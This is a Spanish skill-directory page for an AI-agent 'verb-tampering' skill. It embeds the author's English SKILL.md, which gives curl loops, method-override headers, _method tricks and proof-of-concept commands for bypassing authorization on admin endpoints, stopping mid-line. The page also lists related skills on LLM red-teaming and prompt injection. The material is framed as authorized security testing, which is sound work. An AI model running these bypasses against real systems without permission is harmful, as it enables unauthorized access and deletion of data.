verb-tampering
Qué hace
Esta habilidad explica cómo se pueden saltar las reglas de acceso cambiando el método HTTP de una petición. Está pensada para probadores de seguridad que comprueban si las páginas protegidas responden a métodos inusuales.
Cuándo usarla
- ✓Cuando una página protegida bloquea GET o POST y quieres comprobar si otros métodos pasan.
- ✓Cuando un servidor admite cabeceras de sobrescritura de método que un cortafuegos podría no comprobar.
- ✓Cuando una revisión de seguridad pregunta si todos los métodos HTTP siguen las mismas reglas de acceso.
Link de la skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“¿Puedes comprobar si mi página de administración puede alcanzarse enviándole un método HTTP distinto?”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
El agente envía la misma petición con otros métodos, como HEAD, OPTIONS, PUT o un verbo inventado, y compara los resultados para ver si se saltan las comprobaciones de acceso.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
HTTP Verb / Method Tampering
Authorization is enforced for GET/POST but not for HEAD, OPTIONS, PATCH, DELETE, PUT, TRACE, TRACK, or arbitrary verbs like FOO. Or the app respects X-HTTP-Method-Override and the WAF/auth filter does not. Or the framework routes any verb to the same handler while only the POST ACL rule exists. Severity is High to Critical when it grants admin-only actions or reads protected data.
1. Why it works
- Apache/nginx
Limit/LimitExceptrules in.htaccessoften list onlyGET POST. Any other verb is unrestricted. - Tomcat / JSP
<security-constraint><http-method>GET</http-method>only constrains the listed verbs (the famous "Tomcat verb tampering" class — CVE-2017-12615, CVE-2009-3548 family). - API gateways enforce method-specific policies; the upstream service treats verbs identically.
- Spring
@RequestMappingwithoutmethod=accepts every verb.@GetMapping/@PostMappingconstrain, but generic mappings do not. - Express.js
app.all(path, handler)answers every method. - Framework method-override middleware (
methodOverridein Express, Rails_method=DELETE,X-HTTP-Method-Overridein many) lets aPOSTbecome aDELETEafter auth runs. - Many WAFs ship rule sets keyed on
GET/POSTonly.
2. Detection — does the endpoint answer non-standard verbs?
# Verb sweep
for m in GET HEAD POST PUT PATCH DELETE OPTIONS TRACE TRACK CONNECT PROPFIND COPY MOVE LOCK UNLOCK MKCOL FOO; do
code=$(curl -sk -o /dev/null -w '%{http_code} %{size_download}' -X "$m" "http://<TARGET>/admin/users")
printf '%-10s -> %s\n' "$m" "$code"
done
# Compare auth-required endpoint without creds, per verb
for m in GET HEAD POST PUT PATCH DELETE OPTIONS; do
curl -sk -o /dev/null -w "%-7s %{http_code}\n" -X "$m" "http://<TARGET>/admin/secret"
done
# If GET=401 but HEAD/OPTIONS=200 → verb-based auth bypass candidate.
HEAD is the highest-yield: per RFC 9110 it MUST be treated like GET minus the body, but servers diverge — middleware sometimes short-circuits auth on HEAD. Response headers and status leak data even with no body.
# HEAD bypass — read protected response headers (Set-Cookie, Location, ETag, Content-Length)
curl -sk -I -X HEAD "http://<TARGET>/admin/export.csv"
3. Method-override headers
The app overrides the real method with the value of a header after the WAF/auth has classified the request as POST (allowed) or GET (allowed).
# Common override headers
for h in 'X-HTTP-Method-Override' 'X-HTTP-Method' 'X-Method-Override' 'X-Original-Method'; do
curl -sk -X POST -H "$h: DELETE" "http://<TARGET>/admin/users/1337" \
-o /dev/null -w "%-26s %{http_code}\n" -H "Cookie: session=$LOWPRIV"
done
# Rails / Laravel — _method in form body
curl -sk -X POST "http://<TARGET>/posts/42" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data '_method=DELETE' -b "session=$LOWPRIV"
# Verb tunnelled through GET (some legacy frameworks)
curl -sk "http://<TARGET>/admin/delete?_method=DELETE&id=42" -b "session=$LOWPRIV"
4. Bypass patterns
| Pattern | Mechanic |
|---|---|
.htaccess Limit |
<Limit GET POST>require valid-user</Limit> blocks GET/POST only — try HEAD, PUT, custom verb. |
Tomcat <http-method> constraint |
The constraint applies only to listed methods. Use any other. |
Spring generic @RequestMapping("/path") |
Every verb routes here. Author meant only POST. |
Express app.all / no method-guard |
Same. |
| Method-override after auth | POST /low-priv allowed; X-HTTP-Method-Override: DELETE upgrades. |
_method=PATCH body field |
Rails/Laravel/Symfony idiom; the auth layer saw a POST. |
WAF gating on GET/POST only |
Send the payload as PATCH or FOO. |
| TRACE/TRACK enabled | XST — reflects request headers, used to read HttpOnly cookies in legacy XSS chains. |
WebDAV verbs (PROPFIND, COPY, MOVE, PUT, MKCOL) on IIS/Apache |
Direct file upload / RCE on misconfigured WebDAV. |
OPTIONS * |
Discloses enabled methods on the whole server: `curl -X OPTIONS -i http://<TARGET>/* |
5. Exploit PoCs
5.1 Admin action via HEAD bypass
# Trigger admin action where HEAD reaches handler logic without auth
curl -sk -I -X HEAD "http://<TARGET>/admin/cache/flush" -o /dev/null -w '%{http_code}\n'
# Confirm side-effect:
curl -sk "http://<TARGET>/api/cache/size"
5.2 Method-override DELETE
# Low-priv us
Preguntas frecuentes
¿Qué es X-HTTP-Method-Override?
Es una cabecera que algunos frameworks usan para tratar un POST como otro método, lo que puede saltar reglas que solo comprueban el método original.
¿Por qué importan las configuraciones de Tomcat?
La habilidad indica que algunas reglas de seguridad de Tomcat solo limitan los verbos enumerados, así que otros verbos pueden quedar sin restricción.
¿Es solo para pruebas autorizadas?
Sí. Es una habilidad de pruebas de seguridad y solo debe usarse en sistemas que tienes permiso para probar.
Detalles
Descripción original del autor
HTTP verb/method tampering — auth bypass via HEAD/OPTIONS/arbitrary methods, X-HTTP-Method-Override, TRACE/PUT/DELETE exposure, framework routing flaws.
Popularidad
- Estrellas en GitHub
- 6,5 mil
- Posición en el ranking
- #14083
- Licencia
- Apache-2.0
- Actualizada
- 1/11/2026
Comentarios
- …
Más skills de este repositorio
detector-overview
6,5 milAyuda a tu agente a leer el código que marcó un escáner y decidir qué puntos señalados son fallos de seguridad reales y cuáles son falsas alarmas.
exploiter-overview
6,5 milAyuda a tu agente a unir varias debilidades de seguridad confirmadas en una sola cadena de pruebas y comprobar hasta dónde podría llegar esa cadena.
llm-redteam-overview
6,5 milAyuda a tu agente a encontrar la guía adecuada de red team de IA para una prueba, con 15 grupos de tácticas que van desde la inyección de prompts hasta el abuso de modelos.
aatmf-t01-prompt-injection
6,5 milExplica la inyección de prompts, en la que instrucciones ocultas intentan anular un sistema de IA, para que los probadores de seguridad puedan comprobarla.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.